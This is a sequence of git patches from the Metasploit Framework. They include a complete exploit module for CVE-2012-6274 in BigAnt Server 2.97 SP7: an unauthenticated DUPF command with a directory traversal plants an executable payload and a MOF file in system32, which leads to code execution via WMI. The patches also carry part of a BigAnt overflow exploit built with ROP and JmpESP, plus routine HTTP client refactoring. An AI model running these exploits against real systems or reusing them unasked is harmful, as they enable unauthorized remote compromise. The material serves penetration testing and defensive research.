[target['FakeObject']].pack("V") + sploit << [target['FakeObject']].pack("V") + if target[:callback_rop] and self.respond_to?(target[:callback_rop]) + sploit << self.send(target[:callback_rop]) + else + sploit << [target['JmpESP']].pack("V") + end + sploit << payload.encoded + + random_filename = rand_text_alpha(4) + random_date = "#{rand_text_numeric(4)}-#{rand_text_numeric(2)}-#{rand_text_numeric(2)} #{rand_text_numeric(2)}:#{rand_text_numeric(2)}:#{rand_text_numeric(2)}" + random_userid = rand_text_numeric(1) + random_username = rand_text_alpha_lower(5) + random_content = rand_text_alpha(10 + rand(10)) + + sch = "SCH 16\n" + sch << "cmdid: 1\n" + sch << "content-length: 0\n" + sch << "content-type: Appliction/Download\n" + sch << "filename: #{random_filename}.txt\n" + sch << "modified: #{random_date}\n" + sch << "pclassid: 102\n" + sch << "pobjid: 1\n" + sch << "rootid: 1\n" + sch << "sendcheck: 1\n" + sch << "source_cmdname: DUPF\n" + sch << "source_content-length: 116619\n" + sch << "userid: #{random_userid}\n" + sch << "username: #{sploit}\n\n" + + print_status("Trying target #{target.name}...") + + connect + print_status("Sending SCH request...") + sock.put(sch) + res = sock.get_once + if res.nil? + fail_with(Exploit::Failure::Unknown, "No response to the SCH request") + end + if res=~ /scmderid: \{(.*)\}/ + scmderid = $1 + else + fail_with(Exploit::Failure::UnexpectedReply, "scmderid value not found in the SCH response") + end + + dupf = "DUPF 16\n" + dupf << "cmdid: 1\n" + dupf << "content-length: #{random_content.length}\n" + dupf << "content-type: Appliction/Download\n" + dupf << "filename: #{random_filename}.txt\n" + dupf << "modified: #{random_date}\n" + dupf << "pclassid: 102\n" + dupf << "pobjid: 1\n" + dupf << "rootid: 1\n" + dupf << "scmderid: {#{scmderid}}\n" + dupf << "sendcheck: 1\n" + dupf << "userid: #{random_userid}\n" + dupf << "username: #{random_username}\n\n" + dupf << random_content + + print_status("Sending DUPF request...") + sock.put(dupf) + #sock.get_once + disconnect + + end + +end From 31a3a374c3efd9c979a8b0a6f4d5ee6bc72b5daf Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Sun, 17 Feb 2013 20:25:39 +0100 Subject: [PATCH 114/341] Added module for CVE-2012-6274 --- .../windows/misc/bigant_server_dupf_upload.rb | 126 ++++++++++++++++++ 1 file changed, 126 insertions(+) create mode 100644 modules/exploits/windows/misc/bigant_server_dupf_upload.rb diff --git a/modules/exploits/windows/misc/bigant_server_dupf_upload.rb b/modules/exploits/windows/misc/bigant_server_dupf_upload.rb new file mode 100644 index 0000000000..8f55b2df4c --- /dev/null +++ b/modules/exploits/windows/misc/bigant_server_dupf_upload.rb @@ -0,0 +1,126 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::Tcp + include Msf::Exploit::EXE + include Msf::Exploit::WbemExec + include Msf::Exploit::FileDropper + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'BigAnt Server DUPF Command Arbitrary File Upload', + 'Description' => %q{ + This exploits an arbitrary file upload vulnerability in BigAnt Server 2.97 SP7. + A lack of authentication allows to make unauthenticated file uploads through a DUPF + command. Additionally the filename option in the same command can be used to launch + a directory traversal attack and achieve arbitrary file upload. + + The module uses uses the Windows Management Instrumentation service to execute an + arbitrary payload on vulnerable installations of BigAnt on Windows XP and 2003. It + has been successfully tested on BigAnt Server 2.97 SP7 Windows XP SP3 and 2003 SP2. + }, + 'Author' => + [ + 'Hamburgers Maccoy', # Vulnerability discovery + 'juan vazquez' # Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'CVE', '2012-6274' ], + [ 'US-CERT-VU', '990652' ], + [ 'BID', '57214' ], + [ 'OSVDB', '89342' ] + ], + 'Privileged' => true, + 'Platform' => 'win', + 'Targets' => + [ + [ 'BigAnt Server 2.97 SP7', { } ] + ], + 'DefaultTarget' => 0, + 'DefaultOptions' => + { + 'WfsDelay' => 10 + }, + 'DisclosureDate' => 'Jan 09 2013')) + + register_options( + [ + Opt::RPORT(6661), + OptInt.new('DEPTH', [true, "Levels to reach base directory", 6]) + ], self.class) + + end + + def upload_file(filename, content) + + random_date = "#{rand_text_numeric(4)}-#{rand_text_numeric(2)}-#{rand_text_numeric(2)} #{rand_text_numeric(2)}:#{rand_text_numeric(2)}:#{rand_text_numeric(2)}" + + dupf = "DUPF 16\n" + dupf << "cmdid: 1\n" + dupf << "content-length: #{content.length}\n" + dupf << "content-type: Appliction/Download\n" + dupf << "filename: #{"\\.." * datastore['DEPTH']}\\#{filename}\n" + dupf << "modified: #{random_date}\n" + dupf << "pclassid: 102\n" + dupf << "pobjid: 1\n" + dupf << "rootid: 1\n" + dupf << "sendcheck: 1\n\n" + dupf << content + + print_status("sending DUPF") + connect + sock.put(dupf) + res = sock.get_once + disconnect + return res + + end + + def exploit + + peer = "#{rhost}:#{rport}" + + # Setup the necessary files to do the wbemexec trick + exe_name = rand_text_alpha(rand(10)+5) + '.exe' + exe = generate_payload_exe + mof_name = rand_text_alpha(rand(10)+5) + '.mof' + mof = generate_mof(mof_name, exe_name) + + print_status("#{peer} - Sending HTTP ConvertFile Request to upload the exe payload #{exe_name}") + res = upload_file("WINDOWS\\system32\\#{exe_name}", exe) + if res and res =~ /DUPF/ and res =~ /fileid: (\d+)/ + print_good("#{peer} - #{exe_name} uploaded successfully") + else + if res and res =~ /ERR 9/ and res =~ /#{exe_name}/ and res =~ /lasterror: 183/ + print_error("#{peer} - Upload failed, check the DEPTH option") + end + fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Failed to upload #{exe_name}") + end + + print_status("#{peer} - Sending HTTP ConvertFile Request to upload the mof file #{mof_name}") + res = upload_file("WINDOWS\\system32\\wbem\\mof\\#{mof_name}", mof) + if res and res =~ /DUPF/ and res =~ /fileid: (\d+)/ + print_good("#{peer} - #{mof_name} uploaded successfully") + register_file_for_cleanup(exe_name) + register_file_for_cleanup("wbem\\mof\\good\\#{mof_name}") + else + if res and res =~ /ERR 9/ and res =~ /#{exe_name}/ and res =~ /lasterror: 183/ + print_error("#{peer} - Upload failed, check the DEPTH option") + end + fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Failed to upload #{mof_name}") + end + + end + +end From 322fa53d490b007164229f0ae3ef1874b72744bd Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Sun, 17 Feb 2013 20:29:41 +0100 Subject: [PATCH 115/341] fix typo --- modules/exploits/windows/misc/bigant_server_dupf_upload.rb | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/modules/exploits/windows/misc/bigant_server_dupf_upload.rb b/modules/exploits/windows/misc/bigant_server_dupf_upload.rb index 8f55b2df4c..bed756cb52 100644 --- a/modules/exploits/windows/misc/bigant_server_dupf_upload.rb +++ b/modules/exploits/windows/misc/bigant_server_dupf_upload.rb @@ -26,7 +26,8 @@ class Metasploit3 < Msf::Exploit::Remote The module uses uses the Windows Management Instrumentation service to execute an arbitrary payload on vulnerable installations of BigAnt on Windows XP and 2003. It - has been successfully tested on BigAnt Server 2.97 SP7 Windows XP SP3 and 2003 SP2. + has been successfully tested on BigAnt Server 2.97 SP7 over Windows XP SP3 and 2003 + SP2. }, 'Author' => [ From dd26b081976491bf91a89eaa08c9a9db3bf001e5 Mon Sep 17 00:00:00 2001 From: David Maloney Date: Sun, 17 Feb 2013 19:25:27 -0600 Subject: [PATCH 116/341] first run at Clientrequest object need a reliable object class for request_raw and request_cgi so that we can manipulate requests in a safe and sane manner. It is not a eprfect solution, but should fix what we need for the auth work. --- lib/rex/proto/http.rb | 1 + lib/rex/proto/http/client.rb | 444 ++------------------------ lib/rex/proto/http/client_request.rb | 454 +++++++++++++++++++++++++++ 3 files changed, 480 insertions(+), 419 deletions(-) create mode 100644 lib/rex/proto/http/client_request.rb diff --git a/lib/rex/proto/http.rb b/lib/rex/proto/http.rb index 1ff65061ec..85a4f31e3c 100644 --- a/lib/rex/proto/http.rb +++ b/lib/rex/proto/http.rb @@ -4,3 +4,4 @@ require 'rex/proto/http/request' require 'rex/proto/http/response' require 'rex/proto/http/client' require 'rex/proto/http/server' +require 'rex/proto/http/client_request' \ No newline at end of file diff --git a/lib/rex/proto/http/client.rb b/lib/rex/proto/http/client.rb index 75ba1f9574..690cd58f4d 100644 --- a/lib/rex/proto/http/client.rb +++ b/lib/rex/proto/http/client.rb @@ -8,6 +8,8 @@ require 'rex/proto/ntlm/constants' require 'rex/proto/ntlm/utils' require 'rex/proto/ntlm/exceptions' +require 'pry' + module Rex module Proto module Http @@ -240,103 +242,32 @@ class Client # # @return [Request] def request_cgi(opts={}) - c_ag = opts['agent'] || config['agent'] - c_auth = opts['basic_auth'] || config['basic_auth'] || '' - c_body = opts['data'] || '' - c_cgi = opts['uri'] || '/' - c_conn = opts['connection'] - c_cook = opts['cookie'] || config['cookie'] - c_enc = opts['encode'] || false - c_enc_p = (opts['encode_params'] == true or opts['encode_params'].nil? ? true : false) - c_head = opts['headers'] || config['headers'] || {} - c_host = opts['vhost'] || config['vhost'] - c_meth = opts['method'] || 'GET' - c_path = opts['path_info'] - c_prot = opts['proto'] || 'HTTP' - c_qs = opts['query'] || '' - c_rawh = opts['raw_headers'] || config['raw_headers'] || '' - c_type = opts['ctype'] || 'application/x-www-form-urlencoded' - c_varg = opts['vars_get'] || {} - c_varp = opts['vars_post'] || {} - c_vers = opts['version'] || config['version'] || '1.1' + opts['agent'] ||= config['agent'] + opts['basic_auth'] = opts['basic_auth'] || config['basic_auth'] || '' + opts['data'] ||= '' + opts['uri'] ||= '/' + opts['cookie'] ||= config['cookie'] + opts['encode'] ||= false + opts['headers'] ||= config['headers'] || {} + opts['vhost'] ||= config['vhost'] + opts['method'] ||= 'GET' + opts['proto'] ||= 'HTTP' + opts['query'] ||= '' + opts['raw_headers'] = opts['raw_headers'] || config['raw_headers'] || '' + opts['ctype'] ||= 'application/x-www-form-urlencoded' + opts['vars_get'] ||= {} + opts['vars_post'] ||= {} + opts['version'] = opts['version'] || config['version'] || '1.1' + opts['cgi'] = true + opts['port'] = self.port - uri = set_cgi(c_cgi) - qstr = c_qs - pstr = c_body - - if (config['pad_get_params']) - 1.upto(config['pad_get_params_count'].to_i) do |i| - qstr << '&' if qstr.length > 0 - qstr << set_encode_uri(Rex::Text.rand_text_alphanumeric(rand(32)+1)) - qstr << '=' - qstr << set_encode_uri(Rex::Text.rand_text_alphanumeric(rand(32)+1)) - end + if opts['encode_params'] == true or opts['encode_params'].nil? + opts['encode_params'] = true + else + opts['encode_params'] = false end - c_varg.each_pair do |var,val| - qstr << '&' if qstr.length > 0 - qstr << (c_enc_p ? set_encode_uri(var) : var) - qstr << '=' - qstr << (c_enc_p ? set_encode_uri(val) : val) - end - - if (config['pad_post_params']) - 1.upto(config['pad_post_params_count'].to_i) do |i| - rand_var = Rex::Text.rand_text_alphanumeric(rand(32)+1) - rand_val = Rex::Text.rand_text_alphanumeric(rand(32)+1) - pstr << '&' if pstr.length > 0 - pstr << (c_enc_p ? set_encode_uri(rand_var) : rand_var) - pstr << '=' - pstr << (c_enc_p ? set_encode_uri(rand_val) : rand_val) - end - end - - c_varp.each_pair do |var,val| - pstr << '&' if pstr.length > 0 - pstr << (c_enc_p ? set_encode_uri(var) : var) - pstr << '=' - pstr << (c_enc_p ? set_encode_uri(val) : val) - end - - req = '' - req << set_method(c_meth) - req << set_method_uri_spacer() - req << set_uri_prepend() - req << (c_enc ? set_encode_uri(uri):uri) - - if (qstr.length > 0) - req << '?' - req << qstr - end - - req << set_path_info(c_path) - req << set_uri_append() - req << set_uri_version_spacer() - req << set_version(c_prot, c_vers) - req << set_host_header(c_host) - req << set_agent_header(c_ag) - - if (c_auth.length > 0) - unless c_head['Authorization'] and c_head['Authorization'].include? "Basic" - req << set_basic_auth_header(c_auth) - end - end - - req << set_cookie_header(c_cook) - req << set_connection_header(c_conn) - req << set_extra_headers(c_head) - - req << set_content_type_header(c_type) - req << set_content_len_header(pstr.length) - req << set_chunked_header() - req << set_raw_headers(c_rawh) - req << set_body(pstr) - - request = Request.new - request.parse(req) - request.options = opts - - request + req = ClientRequest.new(opts,self.config) end # @@ -855,284 +786,6 @@ class Client pipeline end - # - # Return the encoded URI - # ['none','hex-normal', 'hex-all', 'u-normal', 'u-all'] - def set_encode_uri(uri) - a = uri - self.config['uri_encode_count'].times { - a = Rex::Text.uri_encode(a, self.config['uri_encode_mode']) - } - return a - end - - # - # Return the encoded query string - # - def set_encode_qs(qs) - a = qs - self.config['uri_encode_count'].times { - a = Rex::Text.uri_encode(a, self.config['uri_encode_mode']) - } - return a - end - - # - # Return the uri - # - def set_uri(uri) - - if (self.config['uri_dir_self_reference']) - uri.gsub!('/', '/./') - end - - if (self.config['uri_dir_fake_relative']) - buf = "" - uri.split('/').each do |part| - cnt = rand(8)+2 - 1.upto(cnt) { |idx| - buf << "/" + Rex::Text.rand_text_alphanumeric(rand(32)+1) - } - buf << ("/.." * cnt) - buf << "/" + part - end - uri = buf - end - - if (self.config['uri_full_url']) - url = self.ssl ? "https" : "http" - url << self.config['vhost'] - url << ((self.port == 80) ? "" : ":#{self.port}") - url << uri - url - else - uri - end - end - - # - # Return the cgi - # - def set_cgi(uri) - - if (self.config['uri_dir_self_reference']) - uri.gsub!('/', '/./') - end - - if (self.config['uri_dir_fake_relative']) - buf = "" - uri.split('/').each do |part| - cnt = rand(8)+2 - 1.upto(cnt) { |idx| - buf << "/" + Rex::Text.rand_text_alphanumeric(rand(32)+1) - } - buf << ("/.." * cnt) - buf << "/" + part - end - uri = buf - end - - url = uri - - if (self.config['uri_full_url']) - url = self.ssl ? "https" : "http" - url << self.config['vhost'] - url << (self.port == 80) ? "" : ":#{self.port}" - url << uri - end - - url - end - - # - # Return the HTTP method string - # - def set_method(method) - ret = method - - if (self.config['method_random_valid']) - ret = ['GET', 'POST', 'HEAD'][rand(3)] - end - - if (self.config['method_random_invalid']) - ret = Rex::Text.rand_text_alpha(rand(20)+1) - end - - if (self.config['method_random_case']) - ret = Rex::Text.to_rand_case(ret) - end - - ret - end - - # - # Return the HTTP version string - # - def set_version(protocol, version) - ret = protocol + "/" + version - - if (self.config['version_random_valid']) - ret = protocol + "/" + ['1.0', '1.1'][rand(2)] - end - - if (self.config['version_random_invalid']) - ret = Rex::Text.rand_text_alphanumeric(rand(20)+1) - end - - if (self.config['version_random_case']) - ret = Rex::Text.to_rand_case(ret) - end - - ret << "\r\n" - end - - # - # Return the HTTP seperator and body string - # - def set_body(data) - return "\r\n" + data if self.config['chunked_size'] == 0 - str = data.dup - chunked = '' - while str.size > 0 - chunk = str.slice!(0,rand(self.config['chunked_size']) + 1) - chunked << sprintf("%x", chunk.size) + "\r\n" + chunk + "\r\n" - end - "\r\n" + chunked + "0\r\n\r\n" - end - - # - # Return the HTTP path info - # TODO: - # * Encode path information - def set_path_info(path) - path ? path : '' - end - - # - # Return the spacing between the method and uri - # - def set_method_uri_spacer - len = self.config['pad_method_uri_count'].to_i - set = " " - buf = "" - - case self.config['pad_method_uri_type'] - when 'tab' - set = "\t" - when 'apache' - set = "\t \x0b\x0c\x0d" - end - - while(buf.length < len) - buf << set[ rand(set.length) ] - end - - return buf - end - - # - # Return the spacing between the uri and the version - # - def set_uri_version_spacer - len = self.config['pad_uri_version_count'].to_i - set = " " - buf = "" - - case self.config['pad_uri_version_type'] - when 'tab' - set = "\t" - when 'apache' - set = "\t \x0b\x0c\x0d" - end - - while(buf.length < len) - buf << set[ rand(set.length) ] - end - - return buf - end - - # - # Return the padding to place before the uri - # - def set_uri_prepend - prefix = "" - - if (self.config['uri_fake_params_start']) - prefix << '/%3fa=b/../' - end - - if (self.config['uri_fake_end']) - prefix << '/%20HTTP/1.0/../../' - end - - prefix - end - - # - # Return the padding to place before the uri - # - def set_uri_append - # TODO: - # * Support different padding types - "" - end - - # - # Return the HTTP Host header - # - def set_host_header(host=nil) - return "" if self.config['uri_full_url'] - host ||= self.config['vhost'] - - # IPv6 addresses must be placed in brackets - if Rex::Socket.is_ipv6?(host) - host = "[#{host}]" - end - - # The port should be appended if non-standard - if not [80,443].include?(self.port) - host = host + ":#{port}" - end - - set_formatted_header("Host", host) - end - - # - # Return the HTTP agent header - # - def set_agent_header(agent) - agent ? set_formatted_header("User-Agent", agent) : "" - end - - # - # Return the HTTP cookie header - # - def set_cookie_header(cookie) - cookie ? set_formatted_header("Cookie", cookie) : "" - end - - # - # Return the HTTP connection header - # - def set_connection_header(conn) - conn ? set_formatted_header("Connection", conn) : "" - end - - # - # Return the content type header - # - def set_content_type_header(ctype) - set_formatted_header("Content-Type", ctype) - end - - # - # Return the content length header - def set_content_len_header(clen) - return "" if self.config['chunked_size'] > 0 - set_formatted_header("Content-Length", clen) - end - # # Return the Authorization basic-auth header # @@ -1140,53 +793,6 @@ class Client auth ? set_formatted_header("Authorization", "Basic " + Rex::Text.encode_base64(auth)) : "" end - # - # Return a string of formatted extra headers - # - def set_extra_headers(headers) - buf = '' - - if (self.config['pad_fake_headers']) - 1.upto(self.config['pad_fake_headers_count'].to_i) do |i| - buf << set_formatted_header( - Rex::Text.rand_text_alphanumeric(rand(32)+1), - Rex::Text.rand_text_alphanumeric(rand(32)+1) - ) - end - end - - headers.each_pair do |var,val| - buf << set_formatted_header(var, val) - end - - buf - end - - def set_chunked_header() - return "" if self.config['chunked_size'] == 0 - set_formatted_header('Transfer-Encoding', 'chunked') - end - - # - # Return a string of raw header data - # - def set_raw_headers(data) - data - end - - # - # Return a formatted header string - # - def set_formatted_header(var, val) - if (self.config['header_folding']) - "#{var}:\r\n\t#{val}\r\n" - else - "#{var}: #{val}\r\n" - end - end - - - # # The client request configuration # diff --git a/lib/rex/proto/http/client_request.rb b/lib/rex/proto/http/client_request.rb new file mode 100644 index 0000000000..cb76327f2b --- /dev/null +++ b/lib/rex/proto/http/client_request.rb @@ -0,0 +1,454 @@ +# -*- coding: binary -*- +require 'uri' +require 'rex/proto/http' + +module Rex +module Proto +module Http + +class ClientRequest + + attr_accessor :authorization + attr_accessor :cgi + attr_accessor :config + attr_accessor :connection + attr_accessor :content_type + attr_accessor :cookie + attr_accessor :data + attr_accessor :encode + attr_accessor :encode_params + attr_accessor :headers + attr_accessor :host + attr_accessor :method + attr_accessor :path + attr_accessor :port + attr_accessor :protocol + attr_accessor :query + attr_accessor :raw_headers + attr_accessor :uri + attr_accessor :user_agent + attr_accessor :vars_get + attr_accessor :vars_post + attr_accessor :version + + def initialize(opts={}, client_config) + @cgi = opts['cgi'] + @config = client_config + @connection = opts['connection'] + @content_type = opts['ctype'] + @cookie = opts['cookie'] + @data = opts['data'] + @encode = opts['encode'] + @encode_params = opts['encode_params'] + @headers = opts['headers'] + @host = opts['vhost'] + @method = opts['method'] + @path = opts['path_info'] + @port = opts['port'] + @protocol = opts['proto'] + @query = opts['query'] + @raw_headers = opts['raw_headers'] + @uri = opts['uri'] + @user_agent = opts['agent'] + @vars_get = opts['vars_get'] + @vars_post = opts['vars_post'] + @version = opts['version'] + end + + def to_s + + # Start GET query string + qstr = query + + # Start POST data string + pstr = data + + if cgi == true + uri_str= set_cgi + + if (config['pad_get_params']) + 1.upto(config['pad_get_params_count'].to_i) do |i| + qstr << '&' if qstr.length > 0 + qstr << set_encode_uri(Rex::Text.rand_text_alphanumeric(rand(32)+1)) + qstr << '=' + qstr << set_encode_uri(Rex::Text.rand_text_alphanumeric(rand(32)+1)) + end + end + + vars_get.each_pair do |var,val| + qstr << '&' if qstr.length > 0 + qstr << (encode_params ? set_encode_uri(var) : var) + qstr << '=' + qstr << (encode_params ? set_encode_uri(val) : val) + end + + if (config['pad_post_params']) + 1.upto(config['pad_post_params_count'].to_i) do |i| + rand_var = Rex::Text.rand_text_alphanumeric(rand(32)+1) + rand_val = Rex::Text.rand_text_alphanumeric(rand(32)+1) + pstr << '&' if pstr.length > 0 + pstr << (encode_params ? set_encode_uri(rand_var) : rand_var) + pstr << '=' + pstr << (encode_params ? set_encode_uri(rand_val) : rand_val) + end + end + + vars_post.each_pair do |var,val| + pstr << '&' if pstr.length > 0 + pstr << (encode_params ? set_encode_uri(var) : var) + pstr << '=' + pstr << (encode_params ? set_encode_uri(val) : val) + end + else + uri_str = set_uri + if encode + qstr = set_encode_uri(qstr) + end + end + + req = '' + req << set_method + req << set_method_uri_spacer() + req << set_uri_prepend() + + if encode + req << set_encode_uri(uri_str) + else + req << uri_str + end + + + if (qstr.length > 0) + req << '?' + req << qstr + end + + req << set_path_info + req << set_uri_append() + req << set_uri_version_spacer() + req << set_version + req << set_host_header + + # If an explicit User-Agent header is set, then use that instead of the value of user_agent + unless headers.keys.map{|x| x.downcase }.include?('user-agent') + req << set_agent_header + end + + if authorization + req << set_auth_header + end + + req << set_cookie_header + req << set_connection_header + req << set_extra_headers + + req << set_content_type_header + req << set_content_len_header(pstr.length) + req << set_chunked_header() + req << raw_headers + req << set_body(pstr) + end + + protected + + def set_auth_header + "Authorization: " + authorization + end + + def set_uri + if (config['uri_dir_self_reference']) + uri.gsub!('/', '/./') + end + + if (config['uri_dir_fake_relative']) + buf = "" + uri.split('/').each do |part| + cnt = rand(8)+2 + 1.upto(cnt) { |idx| + buf << "/" + Rex::Text.rand_text_alphanumeric(rand(32)+1) + } + buf << ("/.." * cnt) + buf << "/" + part + end + uri = buf + end + + if (config['uri_full_url']) + url = self.ssl ? "https" : "http" + url << self.config['vhost'] + url << ((self.port == 80) ? "" : ":#{self.port}") + url << uri + url + else + uri + end + end + + def set_cgi + uri_str = uri + if (config['uri_dir_self_reference']) + uri_str.gsub!('/', '/./') + end + + if (config['uri_dir_fake_relative']) + buf = "" + uri_str.split('/').each do |part| + cnt = rand(8)+2 + 1.upto(cnt) { |idx| + buf << "/" + Rex::Text.rand_text_alphanumeric(rand(32)+1) + } + buf << ("/.." * cnt) + buf << "/" + part + end + uri_str = buf + end + + url = uri_str + + if (config['uri_full_url']) + url = self.ssl ? "https" : "http" + url << self.config['vhost'] + url << (self.port == 80) ? "" : ":#{self.port}" + url << uri_str + end + + url + end + + def set_encode_uri(str) + a = str + config['uri_encode_count'].times { + a = Rex::Text.uri_encode(a, config['uri_encode_mode']) + } + return a + end + + def set_method + ret = method + + if (config['method_random_valid']) + ret = ['GET', 'POST', 'HEAD'][rand(3)] + end + + if (config['method_random_invalid']) + ret = Rex::Text.rand_text_alpha(rand(20)+1) + end + + if (config['method_random_case']) + ret = Rex::Text.to_rand_case(ret) + end + + ret + end + + def set_method_uri_spacer + len = config['pad_method_uri_count'].to_i + set = " " + buf = "" + + case config['pad_method_uri_type'] + when 'tab' + set = "\t" + when 'apache' + set = "\t \x0b\x0c\x0d" + end + + while(buf.length < len) + buf << set[ rand(set.length) ] + end + + return buf + end + + # + # Return the padding to place before the uri + # + def set_uri_prepend + prefix = "" + + if (config['uri_fake_params_start']) + prefix << '/%3fa=b/../' + end + + if (config['uri_fake_end']) + prefix << '/%20HTTP/1.0/../../' + end + + prefix + end + + # + # Return the HTTP path info + # TODO: + # * Encode path information + def set_path_info + path ? path : '' + end + + # + # Return the padding to place before the uri + # + def set_uri_append + # TODO: + # * Support different padding types + "" + end + + # + # Return the spacing between the uri and the version + # + def set_uri_version_spacer + len = config['pad_uri_version_count'].to_i + set = " " + buf = "" + + case config['pad_uri_version_type'] + when 'tab' + set = "\t" + when 'apache' + set = "\t \x0b\x0c\x0d" + end + + while(buf.length < len) + buf << set[ rand(set.length) ] + end + + return buf + end + + # + # Return the HTTP version string + # + def set_version + ret = protocol + "/" + version + + if (config['version_random_valid']) + ret = protocol + "/" + ['1.0', '1.1'][rand(2)] + end + + if (config['version_random_invalid']) + ret = Rex::Text.rand_text_alphanumeric(rand(20)+1) + end + + if (config['version_random_case']) + ret = Rex::Text.to_rand_case(ret) + end + + ret << "\r\n" + end + + # + # Return the HTTP Host header + # + def set_host_header + return "" if config['uri_full_url'] + host ||= config['vhost'] + + # IPv6 addresses must be placed in brackets + if Rex::Socket.is_ipv6?(host) + host = "[#{host}]" + end + + # The port should be appended if non-standard + if not [80,443].include?(port) + host = host + ":#{port}" + end + + set_formatted_header("Host", host) + end + + # + # Return the HTTP agent header + # + def set_agent_header + user_agent ? set_formatted_header("User-Agent", user_agent) : "" + end + + # + # Return a formatted header string + # + def set_formatted_header(var, val) + if (self.config['header_folding']) + "#{var}:\r\n\t#{val}\r\n" + else + "#{var}: #{val}\r\n" + end + end + + # + # Return the HTTP cookie header + # + def set_cookie_header + cookie ? set_formatted_header("Cookie", cookie) : "" + end + + # + # Return the HTTP connection header + # + def set_connection_header + connection ? set_formatted_header("Connection", connection) : "" + end + + # + # Return the content type header + # + def set_content_type_header + set_formatted_header("Content-Type", content_type) + end + + # + # Return the content length header + def set_content_len_header(clen) + return "" if config['chunked_size'] > 0 + set_formatted_header("Content-Length", clen) + end + + # + # Return a string of formatted extra headers + # + def set_extra_headers + buf = '' + + if (config['pad_fake_headers']) + 1.upto(config['pad_fake_headers_count'].to_i) do |i| + buf << set_formatted_header( + Rex::Text.rand_text_alphanumeric(rand(32)+1), + Rex::Text.rand_text_alphanumeric(rand(32)+1) + ) + end + end + + headers.each_pair do |var,val| + buf << set_formatted_header(var, val) + end + + buf + end + + def set_chunked_header + return "" if config['chunked_size'] == 0 + set_formatted_header('Transfer-Encoding', 'chunked') + end + + # + # Return the HTTP seperator and body string + # + def set_body(bdata) + return "\r\n" + bdata if config['chunked_size'] == 0 + str = bdata.dup + chunked = '' + while str.size > 0 + chunk = str.slice!(0,rand(config['chunked_size']) + 1) + chunked << sprintf("%x", chunk.size) + "\r\n" + chunk + "\r\n" + end + "\r\n" + chunked + "0\r\n\r\n" + end + + +end + + + +end +end +end \ No newline at end of file From 06ba2ef7914a8ab517a0bd7e48ff09e985fafab8 Mon Sep 17 00:00:00 2001 From: Raphael Mudge Date: Sun, 17 Feb 2013 20:39:54 -0500 Subject: [PATCH 117/341] Allow generic/custom payload to generate an exe The datastore value of ARCH has no effect on the array of architectures the generic/custom payload is compatible with. This commit forces the payload to update its list of compatible architectures on generation if the ARCH value is set in the datastore. See: http://dev.metasploit.com/redmine/issues/7755 --- modules/payloads/singles/generic/custom.rb | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/modules/payloads/singles/generic/custom.rb b/modules/payloads/singles/generic/custom.rb index 68c0da9d21..d5f8ebab32 100644 --- a/modules/payloads/singles/generic/custom.rb +++ b/modules/payloads/singles/generic/custom.rb @@ -38,6 +38,10 @@ module Metasploit3 # Construct the payload # def generate + if datastore['ARCH'] + self.arch = actual_arch + end + if datastore['PAYLOADFILE'] IO.read(datastore['PAYLOADFILE']) elsif datastore['PAYLOADSTR'] From 87d9af585eada1536c65fdb7dc53759fb687f6a3 Mon Sep 17 00:00:00 2001 From: David Maloney Date: Sun, 17 Feb 2013 21:35:19 -0600 Subject: [PATCH 118/341] fix request_raw --- lib/rex/proto/http/client.rb | 79 ++++++++-------------------- lib/rex/proto/http/client_request.rb | 15 ++++-- 2 files changed, 33 insertions(+), 61 deletions(-) diff --git a/lib/rex/proto/http/client.rb b/lib/rex/proto/http/client.rb index 690cd58f4d..0244a9eb3e 100644 --- a/lib/rex/proto/http/client.rb +++ b/lib/rex/proto/http/client.rb @@ -8,8 +8,6 @@ require 'rex/proto/ntlm/constants' require 'rex/proto/ntlm/utils' require 'rex/proto/ntlm/exceptions' -require 'pry' - module Rex module Proto module Http @@ -171,62 +169,27 @@ class Client # # @return [Request] def request_raw(opts={}) - c_ag = opts['agent'] || config['agent'] - c_auth = opts['basic_auth'] || config['basic_auth'] || '' - c_body = opts['data'] || '' - c_conn = opts['connection'] - c_cook = opts['cookie'] || config['cookie'] - c_enc = opts['encode'] || false - c_head = opts['headers'] || config['headers'] || {} - c_host = opts['vhost'] || config['vhost'] || self.hostname - c_meth = opts['method'] || 'GET' - c_prot = opts['proto'] || 'HTTP' - c_qs = opts['query'] - c_rawh = opts['raw_headers']|| config['raw_headers'] || '' - c_uri = opts['uri'] || '/' - c_vers = opts['version'] || config['version'] || '1.1' + opts['agent'] ||= config['agent'] + opts['basic_auth'] = opts['basic_auth'] || config['basic_auth'] || '' + opts['data'] ||= '' + opts['uri'] ||= '/' + opts['cookie'] ||= config['cookie'] + opts['encode'] ||= false + opts['headers'] ||= config['headers'] || {} + opts['vhost'] ||= config['vhost'] + opts['method'] ||= 'GET' + opts['proto'] ||= 'HTTP' + opts['query'] ||= '' + opts['raw_headers'] = opts['raw_headers'] || config['raw_headers'] || '' + opts['version'] = opts['version'] || config['version'] || '1.1' + opts['cgi'] = false + opts['port'] = self.port - # An agent parameter was specified, but so was a header, prefer the header - if c_ag and c_head.keys.map{|x| x.downcase }.include?('user-agent') - c_ag = nil + if opts['basic_auth'] and not opts['authorization'] + opts['authorization'] = Rex::Text.encode_base64(opts['basic_auth']) end - uri = set_uri(c_uri) - - req = '' - req << set_method(c_meth) - req << set_method_uri_spacer() - req << set_uri_prepend() - req << (c_enc ? set_encode_uri(uri) : uri) - - if (c_qs) - req << '?' - req << (c_enc ? set_encode_qs(c_qs) : c_qs) - end - - req << set_uri_append() - req << set_uri_version_spacer() - req << set_version(c_prot, c_vers) - req << set_host_header(c_host) - req << set_agent_header(c_ag) - - if (c_auth.length > 0) - unless c_head['Authorization'] and c_head['Authorization'].include? "Basic" - req << set_basic_auth_header(c_auth) - end - end - - req << set_cookie_header(c_cook) - req << set_connection_header(c_conn) - req << set_extra_headers(c_head) - req << set_raw_headers(c_rawh) - req << set_body(c_body) - - request = Request.new - request.parse(req) - request.options = opts - - request + req = ClientRequest.new(opts,self.config) end 